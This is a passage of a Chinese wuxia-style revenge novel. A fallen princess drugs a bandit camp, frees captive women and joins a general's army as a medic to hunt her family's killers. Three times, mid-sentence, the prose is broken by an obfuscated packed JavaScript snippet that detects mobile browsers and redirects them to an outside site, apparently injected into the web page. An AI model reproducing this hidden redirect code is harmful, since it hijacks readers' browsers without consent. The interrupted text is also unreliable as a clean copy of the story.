《亡国公主报仇了吗?》 1. 山匪 夏夜,黑魆魆的虎山山坳里,一弯新月悬在高天中,草木繁盛,虫鸣声起此彼伏。慕音隐身于层层叠叠的树影之下,等待着时机的到来。 昨日,她在山中采药,见到山匪掳掠了女郎上山。本想下山求救,又怕女子不堪折磨,一死了之。她跟在山匪后头,潜入了虎山寨。清点一番,发现是个小贼窝,四五十人。 又听闻大周军先锋部队正在附近山中剿匪,决定冒险一试。 是时,大齐朝覆亡已经近十年,天下群雄割据,汴京被前汴京刺史谢承业所占,自立为周王;关中则被前朝驸马王照盘踞,自立秦王,双方僵持不下,争夺北方霸权。 也因此,在两方交界之处的山林之中,有不少山匪隐匿其间。大周军部署剿匪以安民心,这是也是对关中之战的准备。 山坳里值夜的几个山匪正坐在壕沟的火堆旁,隐隐约约的谈话声随风飘来: “听说大周军就要杀过来了,怎么我们还不藏到关中地界去?” “大周军的探子早传了话来的,他们要先剿灭黄凤山,无暇他顾。黄凤山那是一帮疯子,大周军恐怕也会损失不小。” “我们这寨子隐秘,想找上来可不容易。” “嘿嘿,前两天抓来的几个小娘们还不得享受呢。待值夜毕,先去快活快活。” 接下里便是些污言秽语,不堪入耳。 再过得片刻,说话声渐渐低了下去,终归于寂静。 慕音起身,轻手轻脚绕过岗哨,疾步向后屋方向而去。整个营地静悄悄地,恍如无人之地。慕音黄昏时分在饭菜和井水中下了迷药。 她进入后屋,屋里放着木柴干草,看起来是个柴房。然而,当她七手八脚地将干草挪开,底下便露出地窖的木门来。 慕音拉开木门,发出吱呀地一声,她闪身进去,砰地一声将地窖门关上了。 地窖里漆黑一片,散发着一股腥臭难闻的味道。慕音站定一会后,才看清楚里面的情形。七八个女郎蜷缩在屋角,看到有人进来,瑟缩地往后躲。 慕音站稳,低声问道:“你们都还醒着么?能走路么?” 地窖里众女一愣,片刻,方有个沙哑的声音小心翼翼地问道:“还醒着。但是我们手脚都被绑了。” 慕音循声望去,看到一个头发凌乱、衣衫不整的女郎。慕音走上前去,从腰间抽出一把小巧的柳叶刀,刀刃锋利,如一弯清泓,麻利地割断了她手脚上的绳索。 慕音一边给其余女郎断开绳子,一边道:“大半个山寨的人应该都被迷晕了。从柴房往后山去,跑出百步后,就是荒山野岭,且先躲避。我已经给大周军传信,他们很快就到这里来。” 被解开绳子的女郎却犹豫了,问:“还要在外面躲几日吗?若是再被山匪发现,却也是无路可逃。” 接着就有人附和:“何况还有野兽……” 还有两三个女郎瑟瑟发抖,一边流着泪,一边颤着声道:“你怎么不早点来?那些山匪不是人!” 慕音没有废话,只道:“我能帮你们的只到这里了,你们要去要留,自己决定。要走的话,就跟着我走。” 说罢抬脚就要往上走,然后,就在这时,变故陡生。 “吱呀”一声,地窖木门再次被打开。慕容音倏地抬起头来,却见一个腰粗膀圆的山匪七歪八扭地走下来,一身酒气扑面而来,嘴里嘟囔着:“老子这是怎么了,竟睡了过去,这云山春就是上头。嘿嘿,小娘们,快来伺候你大爷。” 地窖里众女子大惊,四下奔逃,哭喊声一片,想要躲避山匪。然则地窖狭小,那汉子又高大,两臂一伸,如何能够躲得开去?不过一息之间,一个女郎就被扯了过去。 山匪大约喝醉,再加上迷药影响,一时也没察女郎的手脚脱了束缚。山匪毫不避忌,将女郎压在地上,便去扯她的衣裳。其余女郎都挤在一侧墙角了,瑟瑟发抖。 这不在慕音的计划之中。没想到竟有人这么快就清醒了,那看来需要赶紧离开这里。 这样想着,她疾步走到山匪背后,一弯柳叶刀,就着山匪的颈侧刺了下去。刺下去的地方,正在动脉。血液瞬间喷涌而出,慕音收刀后退,却还是有一些血溅在了她的脸颊之上。 山匪一声痛呼,转身回头,睚眦欲裂,粗哑着嗓子咬牙切齿地道:“小娘们,不想活了!老子先杀你助助兴……”然则,喉咙间发出嗬嗬之声,大掌抚上自己的颈侧,却是一手的鲜血。 山匪身下的女郎,早已惊呆了,直到热血洒在身上,方惊恐大呼,手忙脚乱地爬起来。 慕音看了一眼这死里逃生的女郎,将柳叶刀递到她面前。 女郎犹豫了一瞬,咬牙接过了刀柄,颤抖着狠狠再朝山匪砍去。三两刀后,力气耗尽,方跌跌撞撞地坐了下来。 再看山匪,早已委顿在地,双目圆睁,断气而亡。 胆小的女郎已经脚软跌倒,醒着的瑟瑟发抖,面上俱是一片死意,嘴里喃喃着:“怎么办,怎么办,活不下去了!” 慕音自问仁至义尽,自女郎手中取回柳叶刀,道:“走了!” 不能在耽误了,就怕有更多的山匪清醒过来。到时候,不仅人没救出去,只怕自己也搭了进来。 “咚!”“咚咚!”就在此时,外间传来了战鼓声。鼓声一声比一声急促,喊杀声震天。 女郎们的眼色面面相觑,半晌,有人抑制不住喜气,问道:“是不是大周军来了?一定是,一定是他们来了!” 方才那砍杀山贼的女郎,满身满手的血都来不及擦干,瘫坐在地上嚎啕大哭。泪水顺着血水一起流下,仿佛地狱里走过了一遭。 慕音也感到意外,大周军收到了她的传信?还是大周军本来就有计划夜袭此处?无论是哪种,她心里也松了一口气。 约莫半个时辰后,外间安静了下来,恶战似乎已经结束了。女郎们小心翼翼地推开了地窖门板,外间火光冲天,浓烟滚滚,空气中弥漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282067|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着血腥气与物品烧焦的气味。 一个士兵恰好推开柴房的门口,检查是否有余党藏匿,看到她们,似有些惊讶,忙向长官汇报去了。 从山贼窝中一共解救了八个女子,近半是邻近村落的村民,再有部分是路过商旅的娘子。被扣押了两日,疲惫不堪、衣衫凌乱。更有两三个小娘子,因为与山匪拼杀,身上手上沾血不少。 大周军的一个录事问了她们口供,录了身份,又给她们发了身份文书,欲将她们先送回附近县城安置。 叫人意想不到的是,这里头有个小娘子,腰间别着一把柳叶刀,手上脸上俱沾着血,说自己是医女,想要追随大周军。 录事韩七,乃是大周军的老兵了。因为年岁渐大,不再冲锋陷阵,就做起了这清扫战场的活,清点人员死伤、武器损耗、俘虏珍宝等。这还是头一回遇到自荐入伍的女子。 韩七哈哈大笑:“娘子说笑了,战场刀枪无眼,岂是娘子该来的地方?还是跟着去山下尧县安置了,那里有纺织局和绣花局,女子总能找到活计,生活下去。有军队驻守,也无人敢再打扰你们。” 帮着韩七做事的几个年轻士兵也嘻嘻哈哈笑了起来。 这女郎虽然发髻凌乱,形容狼狈,但是也能看得出来有几分姿色,就有人打趣道:“小娘子莫不是也想看我们先锋将军的风姿?” “那可不行,真入了伍,做了医女,天天跟伤患打交道,那也是见不到先锋将军的!” 众人起哄,笑声不断。 韩七咳嗽一声,喝道:“小兔崽子,乱说什么呢!想挨军棍了是不是?”一众士兵忙噤声不言。 韩七肃正了神色,喊人将几个女郎带了下去。慕音没有再坚持。这次本就是意外,她此来只是为了尽快解救这些被掠夺入山的女子,也算是目的达成。要进大周军营,总还是有办法的。 韩七仍在继续清点物资,女郎们暂避偏厅等候。 此时夜色深沉,那上弦月也不知道隐没在了何处。女郎们这一夜惊吓过度,此时安全了下来,俱靠着墙壁闭目养神。 约莫过了一炷香的时间,忽听到前方一阵整齐的马蹄声,宛如潮水一般,击打在地面上。众女郎都被惊醒,站起身来往外看去。 却见前方火光大胜,一队骑兵,打着火把,从远处疾驰而来,跨过山寨大门,至议事堂前方停了下来。 领头一人,骑着通体乌黑锃亮的乌骓马,一袭金甲,一根长枪,在火光掩映之下锋芒尽显。火光闪烁中,他眉目飞扬、英气勃勃。在这暗淡的夜里,他宛若放着光辉的明月,轻易夺走所有人的目光。 这人就是大周军先锋将军、周王嫡幼子谢时。 偏厅中的女郎吸气声、惊叹声此起彼伏,女郎们低声议论着少年将军的种种。他的出现,带着神奇的力量,仿佛突然有月华拂过,抚慰了这些命运多舛的少女的心灵。 唯独慕音,只是静静地擦拭着自己的柳叶刀,一言不发。 2. 医女 原来,今夜大周军兵分多路,趁其不备,同时对边境多个山贼聚集窝点进行了围剿。 “虎山一战我军伤亡情况如何?”谢时翻身下马,问。 副将韩平初总领虎山剿匪,上前回话:“回禀将军,并无亡故重伤,都是些刀剑轻伤。”他沉吟了一下,继续道:“似乎有人在暗中帮助我们。我们到虎山山寨时,门口值守之人俱是昏迷状态。待战鼓声响,才朦胧醒来,个个走得七倒八歪,神志迷蒙。没费多大力气,就将山匪一网打尽了。” 谢时听得副将如此说,来了兴趣,回头吩咐道:“速请军医皇甫仲。” 谢时迈步走入议事堂,余光留意到偏厅窗户边的几名女子,他愣了一下,旋即对向韩七招手。 他指了指偏厅,“那些女郎都问过话了?” “问过了。”韩七点头,“都是附近村民或途经商队,均已不知父母亲人所在何处。” 谢时点头,嘱咐道:“让她们回慈善局待着,让萧嬷嬷安排好。” 战事起,天下乱,百姓饱受离乱之苦,女子尤甚。汴京谢家在此地经营五世,百余年累积,设置有慈善局、纺织局等机构,收容乱世中离散的女子幼童。 这边,谢时迈步进入虎山寨的厅堂,就看到三四十个活抓的山匪绑了手脚,正跪了一地。 见到谢时进来,好几个山匪一把眼泪一把鼻涕,磕头声、求饶声不断:“将军大人啊,冤枉啊,我们是被山匪威胁上山的!”“我也是啊我是被胁迫的,求将军放过我。”“我从来没杀过人啊,我就是在山寨做个厨子罢了,饶命啊大人!” 谢时在那虎皮大椅上坐了下来,斜斜靠在椅子把手上,顺手拿起桌子上原先放着的匕首,把玩起来,道:“这可真是一把好匕首。如果没看错,这是南海炼制的精钢啊,锋利无比。” 他说到此处,抬起眼帘来,似笑非笑地看了一下堂中跪着的山匪,说道:“说说,你们从哪里得来的?这在军队里也少见。就不知道这刀见过血没有?好刀当饮血,才能有杀气。你们说该先杀谁呢?” 堂下众人的求饶声更大了:“大人,冤枉啊!”“几个当家已经死了,我们都是被迫的!” 谢时一抬手,嗤笑一声,道:“谁再乱喊,我就先杀了谁。我这两日忙着剿匪,很久没睡了,头疼得很。多年没投过匕首了,不知道准头怎么样。”说着,他就势举起了匕首,瞄准了众匪徒。 一众山匪刹那间安静了下来,只跪在地上,胆小的已是两股战战。汴京先锋将军谢时,十五岁上战场,就一人取敌方将领首级。要杀死一个小小山匪,易如反掌。 谢时向站在身侧的韩平初轻声道:“你去问问,请女郎们出来认一认这些山匪,是否有被胁迫上山、未做恶事的村民。”韩平初应是,正要下去偏厅,谢时又将他喊回,道:“找个布巾,蒙脸遮发。” 不多时,几个蒙面女郎就走了出来。 谢时微微一笑,道:“方才哪个说自己是被逼的?哪个说自己从来没做过坏事?你们当着女郎们的面,再说一遍。” 堂下一时间鸦雀无声。过了一息,有个声音战战兢兢地说:“我,我只是厨房烧火的,我啥也不知道。” 谢时看去,是个满脸横肉的粗鲁大汉,只是此刻缩成一团跪在地上,说完话就砰砰砰地在地板上磕头。 不料,一个蒙面女郎冷笑一声,说:“真是好笑。虎山寨的三当家,怎么成了厨房烧火的了?就是你带人掠夺了高家庄,杀了多少人,你自己都不知道吧。” 一时间,堂上所有人都循声望去。不过,女郎都用布巾蒙了头脸,一时也看不清楚模样。 谢时感到惊讶,竟然有女子在山寨里被困后还能这么镇定,还能认得山匪的身份?他叫这些女郎来,本也没指望她们能说什么,就是想看看这些山匪怎么求饶。 山匪更多是害怕和恼羞成怒,这些被磋磨的女郎竟还认得自己的身份? 有了一个人开头,其余几个女郎也纷纷指控:“也是他,毁了我的村子,大人你定要杀了他,为我父母报仇!”“是的,大人,这里都没有好人,全是禽兽不如的狗杂种,就该剁碎了喂狼!”“喂狼都便宜了他们,就该杀他千刀!” 这三当家知道自己是再无逃脱的侥幸了,也不装无辜了,狰狞地笑道:“就是杀你们全家怎么了!这些小贱人,今天你们能从虎山寨逃脱,他日指不定又落入黄凤山手里,还有西边的王照,听说他底下的兵比匪还狠。你们都是贱民,就该都杀了,都杀……” “噗嗤”一声,锋利的匕首刺入了匪首的胸膛,鲜血溅起,洒在了匪首的脸上。谢时手中把玩的匕首,已经脱手而出,恰好刺入匪首的胸膛。 他的叱骂声戛然而止,仿佛还有几分不可置信,砰地一声,倒在地上。 余下众人皆瑟瑟发抖,不敢再动弹。就怕一个不小心,入了上头杀神的眼,瞬间毙命。 恰这时,军医皇甫仲到了。今夜剿匪,在黄凤山发生了激战,士兵伤亡不在少数。皇甫仲自是随行,刚刚将伤兵处理完毕,就听到谢时召自己,又连忙赶到虎山寨来。身上衣衫还沾着不少血迹。 “将军。”皇甫仲拱手拜见。 谢时指了指堂下众匪,道:“皇甫医官,平初说虎山寨众人中了迷药。有人在我们来之前迷倒了他们,你看看。” 堂下众匪这才恍然大悟,“奶奶的,谁阴了我们?”“难怪睡得这么沉,究竟是谁害我!” 皇甫仲连诊了数人,方回禀:“确实是有中药昏睡的症状,我去看看后厨和井水。” 很快皇甫仲就回来,口里啧啧称奇,道:“这井水和饭菜里确实都下了曼陀罗花汁,有昏迷致幻的效果。将军可知是何人助我?不知道这药能不能用于手术,能不能达到类似华佗麻沸散的效果。” 时下战乱频仍,士兵伤者众多,需要做手术。大多数手术,都痛苦不堪,让人难以忍受。伤者忍受不住疼痛,乱喊乱叫、挣扎颤抖的不计其数,影响手术的效果,也影响伤者的恢复。华佗麻沸散失传已久,但军医们都在尝试新的药物,想要达到类似的效果。 因此,当听到有类似麻沸散的药物时,堂中众将领都不由得直起了身,望了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282068|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来。这是关乎性命的事情,如果军队中能有这样的药物,对士兵是莫大的好处。 谢时的神色也变得严肃起来,问:“真能有这样的效果么?” 皇甫仲捻着胡子,道:“这药是晚饭时下的,到我们攻打虎山寨,约莫过去了两个时辰。也就是说,这些山匪昏睡了一到两个时辰。这样的效果,是很不错的。” 谢时没想到还有这样的意外收获,不由得笑了:“也不知是何方高人助我!回去就多试试。” 接着,谢时就发落了一众土匪,送往北边,修筑长城工事,以抵御契丹的攻击。韩平初押着众匪下去,偌大的厅堂里,就剩下几个女郎了。谢时挥挥手,示意韩七带她们下去安置。 孰料,其中一名女郎忽然抬步向前,跪倒在地,“我乃医女,想入大周军,望将军首肯!” 韩七忙道:“哎呀呀,你这女郎,主意怎么这么大?少说几句,跟我去慈善局,那里才是女儿家该去的地方。去什么战场啊,可不是开玩笑的呀……” 谢时双眸微微一眯,看向女子。听声音,这是先前开口指出山匪身份的人。 “你是医女?”谢时有些疑惑。在大齐朝繁盛时,京中贵妇锦衣玉食,便有女医,专为贵妇诊治。不过一般都是妇人疾病和生产居多。战乱十年后,多少朱门倒、高楼崩,女医也逐渐消失。 “是的。”女子回答得很笃定。 “你能做什么?”谢时再问。军中确实军医短缺,每次战斗之后,伤患都要到军医处治疗,血肉模糊、甚至断手短脚的场面屡屡出现。一般人受不了,更何况女子。 “平时能收集整理药草,战时能帮助军医处理伤口、做手术、照顾病患。”女子直起身来,顺手揭下了蒙在脸上的布巾,并把凌乱的头发捋了捋,挂在耳边。 这次,谢时看清了她的脸。虽然尘土满面,甚至还沾了血迹,但是一双眼睛如琉璃一般清澈,目光沉静坚定,如同冬日的白梅,水洗雪染一般,不沾尘埃。 “迷药是你下的?”他一下子就想通了关窍。 慕音点头,“是的。” 谢时这下子是真的来了兴致了,他再次审视这个突兀地出现的女郎,琢磨着她究竟是什么人,背后可能是什么势力,她想要做什么。 不过,他面上不露分毫,只微笑着道:“好,你去找皇甫仲,看能不能过他那一关。” 得到谢时的首肯,慕音松了一口气,看来自己选择了对的人。 坊间都说先锋将军谢时是个张扬热烈的弱冠少年,虽十四五岁就上了战场,也是经久战事,但并不曾被消磨了少年意气。在军中常与士兵同寝共食,打仗时则身先士卒,冲锋陷阵。待士兵与百姓,最是亲和不过。 周王谢承业已经称王,世子谢昭年近三十,这二人想来都威仪深重、心思深沉,难以接近。少年将军谢时就是最好接近的人选。 而且,先锋部队乃是对秦国一战的先遣队,有信息上的优势。待在这里,离战场最近,离消息最近,最有可能手刃敌人。 秦王王照,就是她要杀的第一个仇人。 3. 噩梦 慕音从大堂出来,已经是四更天,夜色浓重。 韩七带着一众女郎去偏厅,一边走一边唠叨着:“几位小娘子不用担心。今晚就先在偏厅将就一晚,养足精神,明天就启程了。我会着人护送你们去尧城,离此地约莫五十里地。里头有慈善局、针线局、纺织局,你们就有了落脚之处,也会有安身的本事。” 众女郎本失去了父母亲人,被掳掠到山匪窝中,万没想到还能得救,更想不到还能有落脚之处,对韩七感激涕零,纷纷致谢。 韩七摆摆手,道:“你们人是将军救的,安身之处是周王命人设置的,与老朽何干?这一日都累了,快快去休息吧,明日起来就都好了。” 韩七又上下打量了一番慕音,方语重心长地道:“你这女郎,有大主意。但是,战场之上,哪怕是军医、后勤、辎重运输,都有性命之忧。做医女,进军营,可不是闹着玩的。你可得想清楚了,这路踏上了,想回头可是不容易的。” 韩七两鬓斑白、皱纹已生,身材干瘦,看起来已是知天命的年龄。却还有如此热心肠,愿意对萍水相逢的孤女说一番真心话,属实难得。慕音心想,这与自己的师父何其相像。 她心里也生出些许敬意,认真地说:“多谢老人家,我说的都是真的,我想得很清楚了。” 韩七见她心意已决,也不再多说,挥手让她进去了。 几个女郎进得偏厅,都已身心俱疲。偏厅之中有两个相对的胡床,恰好能容纳下几个女郎。于是,每人各自寻了地方,和衣躺下,闭目休息。 慕音奔波了两日,下药杀人,早已是疲惫不堪。她闭上眼,模模糊糊地,来到了一处花园。是在太极宫后花园,四五月份的天气,芍药花正在开着,紫红粉白,重重叠叠,一路开到瑶池边。 湖边栽种着一树海棠花,不知道多少年的树龄了,粗壮的树干,茂密的枝丫,粉色的海棠花细细密密地从树间垂下。近旁又栽了一墙的紫藤,正开着花,深深浅浅的紫色。春末的暖风拂过,粉色紫色的花瓣就如雨一般飘然而下,如梦似幻。 瑶池水面开阔,波光粼粼,水光潋滟,湖面上石舫里琴声悠扬,古琴叮咚,是婉转优美的《春日宴》。 这是母亲常演奏的曲子。慕音快步走入石舫之内,就见母亲坐在窗边,案上摆着她钟爱的古琴雪夜钟。韩皇后梳着堕马髻,如云乌发间点缀着一朵粉白色芍药,身着胭脂色宝相花高腰襦裙,搭着白底金线团花披帛,明艳动人。动听悦耳的音乐声自她修长洁白的指尖流淌而来。 “卿卿弹得越来越好了。”正元帝站在窗前,微笑着说道。 他是个美男子,俊美清雅,然而常年处于深宫之中,受制于权臣压制,使得他眉宇间有一股清愁,两鬓略显风霜之色。 “阿耶,阿娘!”慕音提起裙摆,跑上前去。 “泠泠,慢点儿。”母亲似担心她绊倒,忙喊道。 然而,就在此时,石舫门边窗边的帷幔,突然被大风刮起,层层叠叠地,挡在了慕音的面前。慕音伸手想要挥开这些帷幔,却怎么也挥不开,穿过一层,还有一层。 “阿耶!阿娘!你们在哪里!”慕音忍不住喊道。没有人回答她,只有愈演愈烈的风声。 慕音终于揭开了帷幔,然后看到的却不是花团锦簇的太极宫。 她身处茫茫荒野之中,她的面前是一辆正在疾驰远去的马车,韩皇后坐在车上,对着她撕心裂肺地喊道:“泠泠,快跑!快跑!跑到山里去!” “阿娘,不要丢下我!”她拔腿就朝着马车追去,想要追上韩皇后。 但是,她被人抱了起来,是乳母薛氏。薛氏是如此用力,她根本挣脱不了。薛氏捂住了她的嘴,道:“殿下,快走,不要出声!你得活着,才有将来!”薛氏一边说着,一边流泪,泪水洒落在她的手臂上,滚烫而又冰凉。 慕音大喊:“不,我不要,我要跟阿娘在一起!”她一用力,从床上猛地坐了起来,粗喘着气,眼中已经满是泪水。 她愣愣坐了片刻,缓缓地环顾四周。还是在虎山寨那一个偏厅里,她并没有回到多年前,父母兄姐都还在世的时候。 这八年来,多少次午夜梦回,她都会回到幼年时一家人还在的时候。每一次,都叫她心如刀绞。那是血淋淋的伤口,每看一次,都痛彻心扉。就如同有人一遍一遍地撕开伤口的结痂,又流出鲜血来。 她怀揣着报仇的信念,活过了这么多年。很快了,很快,她要将那些沽名钓誉、背信弃义的刽子手一个个杀之而后快! 从九岁开始,慕音就想着该如何复仇,为父母兄姐和弟弟报仇。杀死那些忘恩负义、违背承诺、道貌岸然的衣冠禽兽。甚至,连该怎么杀,她都已经演练了无数遍。 在深沉不知何处的睡梦中,又或是在夜深人群无眠之夜,那些人的面容,一遍遍地在她的脑海里浮现,他们看起来淡然高贵,实则不过是一群沾满鲜血的刽子手。那些人的名字,一遍遍地在她的舌尖滚动,他们都来自名门望族,为了权势而不择手段。 慕音本不叫慕音,她是慕容音,前朝的永泰公主,是正元帝和皇后宠爱的女儿。皇后善弹琴,给她取名音,小字泠泠。 正元帝和刘皇后本只是居于汴京城中的宗亲后裔。两人青梅竹马,少年夫妻,男才女貌,琴瑟和鸣,是汴京城里人人羡慕的神仙眷侣。 但是,正元帝的堂兄元和帝突然亡故,元和帝并无亲子,只有一个女儿,是为汝阳公主。 元和帝突然亡故后,时任尚书令的王家家主、王照之父王炎翻了好几遍皇家族谱之后,终于找到了正元帝——这一脉远离长安,没有势力依靠;本人对名利淡泊,又视情义更重,操纵起来更为便利。 正元帝也知这是烫手山芋、性命攸关,推辞再三,但依然无用,只得带着妻子前往京城。在帝位十年后,王炎父子做好了夺取天下准备,让正元帝写下了禅位书。 当时,王、袁、公孙等几大世家曾经承诺保证废帝一家无性命之忧,正元帝只是被落为庶人,禁止出咸阳皇陵旧地。 然而,不出一年,王炎亡故后,琅琊王氏少主王照、堂姐汝阳公主的驸马,背信弃义,毒杀了废帝和兄长,堂姐也落水而亡。 母亲带着她和弟弟逃走,追兵紧随其后,母亲为了引开追兵,以身为饵,辗转落入淮扬刺史袁正手中,被袁正白绫绞杀,曝尸城头。 逃难途中,她与弟弟失散。时年四岁的弟弟,落入蜀中刺史公孙义的手中。公孙义将弟弟立为皇帝,本想学曹孟德“挟天子以令诸侯”,然则各地节度使早已自立为王,野心勃勃,一心逐鹿中原,根本没人在意突然出现的前朝皇族后裔,还笑话公孙义,学几百年前古人的做派,简直是愚不可及。 公孙义恼羞成怒,杀死了她不足五岁的弟弟。弟弟当时不过四岁,正是玉雪可爱的时候。圆溜溜的脑袋,鼓嘟嘟的脸颊,圆滚滚的胳膊和大腿。他还什么都不懂,就被这些刽子手推上了刑场。 她的父母,本在汴京过着自由安乐的生活,却被这些所谓世家大族退入风控浪尖的皇帝位置,陷入太极宫的争权夺利之中! 他们自皇宫退出,只想隐居于野,却最终还是遭到追杀,美丽的母亲曝尸城头! 她的弟弟,才五岁,才五岁啊!那么可爱天真的时候,他的人生才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282069|151873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚开始,却就这样夭折于野心家的手中! 她恨! 王照、袁正、公孙义,慕音默念着这些名字,握紧了拳头,泪水浸湿了耳边的头发。她发誓,总有一日,必定血债血偿! 第二日,慕音跟随大周军下山。大周军先锋部队的营帐就在山下不远处,但韩七并没有将她带到部队大营中,而是将她送到了附近一个镇子上。皇甫仲管着的医药堂就设在镇上,是伤兵治疗养伤之处。 韩七依旧唠唠叨叨地说着:“皇甫老儿是这军营里最凶悍的汉子了,他手下的小军医,动不动就被骂哭。用他的话说,但凡有一点错漏,那是要出人命的。所以,他调教起人来凶得很,在他底下办事可是战战兢兢的。医药堂就在镇子上,里面都是伤兵,照料人的工作可不轻松,血污脏乱是寻常事,一不小心遇到死人也是有的。你一个小姑娘这是何苦呢?” 或许是韩七这般热心,教慕音内心有所触动,她扯起嘴角,露出一个微笑,道:“我学了医术,便想着治病救人。不然,我何苦学呢?” 韩七看着她笑靥如花,心想这丫头也怪好看,就是性情真倔强啊,他连连摇头,“罢了,你若是医药馆待不下去,就到尧县慈善堂去。” 说话间,医药堂到了,只是一个简陋的院子。外头围着一圈土墙,大门上挑了两个灯笼,写着“医药堂”几个字。大门开着,透过大门,可以看到里头坐在院子里屋檐下的士兵。 马车停下,慕音跳下了车,朝着韩七挥挥手,转身向医药堂走去。 慕音一走进医药堂,在院子里无所事事养伤的士兵们都看了过来。她此时是男装打扮,一身灰蓝色的半旧衣袍,袖口早已泛白。由于长时间的野外活动,皮肤晒出了浅麦色。但是,这些丝毫也不影响她的美丽。她的眼睛是如此明亮,她望过来的时候,仿佛是山野里秋天的寒潭,叫人忍不住一看再看。 皇甫仲已经从韩平初处知道了昨夜大殿之事。对于谢时就这么把人塞进他的医药堂,他很是不快。 他自忖医术尚可,多年来也救治过好些命悬一线的士兵,在士兵之中声誉颇高,人称一声“神医”也是有的。也因此,他很是爱惜羽毛,要进他医馆,也是要经历一番考验试炼的。大多数弟子,都是跟着他修习了数年医术之后,才能到医药堂来,给士兵治疗。 突然接到命令,要带着这么一个不知哪里冒出来的山野游医,还是一个女子,这女子身份还不明朗。哪怕她说了她下麻药迷翻了虎山寨众人,这也是她的一面之辞,未必就是真的。 谢时毕竟年少,打仗冲锋是厉害,但恐怕不知道外头的探子间谍的手段,更不知道女子的手段。也不知道这女子长什么样,迷惑了少年将军。 怀揣着这种种想法,皇甫仲见到慕音时,实在没有什么好脸色。他笼着手,道:“你初来乍到,我也不知道你医术几何。但你既然入了我的医药堂,就得听我的安排。今天你就先去清洗了这些换洗下来的床单被褥吧!” 皇甫仲指了指堆放在墙角水井旁的一大堆床单被褥,说道。 慕音对此早有预料,自己身份未明,不可能有机会直接参与到医药堂的正事中,不过是做些杂活。谢时肯定会派人去查自己的来历,等到查明,怎么也得三五天后了。 清洗床单被褥本就是医药堂需要做的事情,皇甫仲安排她来做,也是师出有名。慕音二话不说,就开始干活。这些床单被褥都是病患所用,需要用热水浸泡之后,再做清洗。这样能更好地洗掉上面的脏污和病气。 靠着院墙的角落里,搭了个棚子,底下有烧水的大锅。慕音用木桶从井中取水,再倒进大锅里去。 4. 医药馆 慕音提了木桶,正弯着腰在水井里取水,就听到一个声音,跟她打招呼:“那个,要不要我帮忙?” 慕音抬起头来,看到一个皮肤黝黑的士兵,正咧着嘴笑着,跟她说话,神色颇有些不自然。 “你是新来的杂役么?之前没见过你。这水提着重,我来帮你吧。”士兵很是热情。 慕音忙摇头,开什么玩笑。要是让伤患来帮她,皇甫仲肯定更加没好脸色了。“你在养伤,还是先把伤养好。这水也不重,一会儿就能做完的。” “我这伤快好了,但是又还没好全,在这药堂里都快淡出……都快闷坏了。刚好能做点活,也是好的。皇甫神医还说要多活动活动,嘿嘿。”士兵不等拒绝,捞起一旁的水桶就去取水,走出两步,回过头来说,“我叫蒋大龙,卢龙人士。” 慕音没能拦住蒋大龙,一旁的士兵见状,都纷纷上前来,说要帮忙。于是,砍柴、生火、打水、烧水、倒水,竟是每个环节都有人在帮忙。 慕音只需要将床单被褥放在热水中,拿洗衣槌浆洗就可以了。半日过去,堆积如山的床单被褥就都在后院里晾晒开了,层层被褥挂在晾衣绳上,随着夏风飘荡。 皇甫仲上午上山采摘药草了,到了晌午方回来,看到满园洗好的床单被褥,诧异之余检查了一番,却是清洗得很干净,他不由得嘀咕起来:“奇哉怪哉,怎地这洗得这么快?” 医药堂平日有浆洗婆子,也是本地村民,维持生计。这两日家中有事,故而没来。 皇甫仲招来守在医药馆的弟子一问,方知原来是有士兵帮忙。他气得吹胡子瞪眼,“平日徐婆子来浆洗的时候,怎么不见你们这些小子帮忙?明天的活你们都给干了,不得推三阻四。” 第二日,皇甫仲让慕音去镇子外的苍岭采药,一并交给她一本册子,道:“你去把这图册里的草药都给找到,不找到就不许再来我这医馆了。治病救人可不是过家家,容不得半分闪失。” 慕音翻开册子,薄薄的一册,里面绘制了十几种药草。看样子,应该是皇甫仲自己所绘制的,标注了名称、外形、生长环境、效用。 慕音背上药筐,拿上柳叶刀,就要出发。才走出院门没几步,有人在后面跑上来,喊道:“慕娘子,等等我!” 慕音回头,见是医药堂里的一个弟子追了上来。昨日闲聊时,慕音也摸清了医药馆里的情况,皇甫仲收了五个弟子,都是正式拜师学艺的,另有十几个药童杂役,帮忙煎药煮药、照顾病患。 追上来的这名弟子,名唤高琅,出自渤海高家嫡支,父兄皆在周王门下做官。 他背着药筐,清秀的面上带着一丝羞赧,笑道:“师傅怕你一个姑娘家,不安全,所以让我跟你一起去山里。那山我常去,熟悉的得很,你放心。” 慕音点点头,心想着皇甫仲也是刀子嘴豆腐心,还算好人呢。 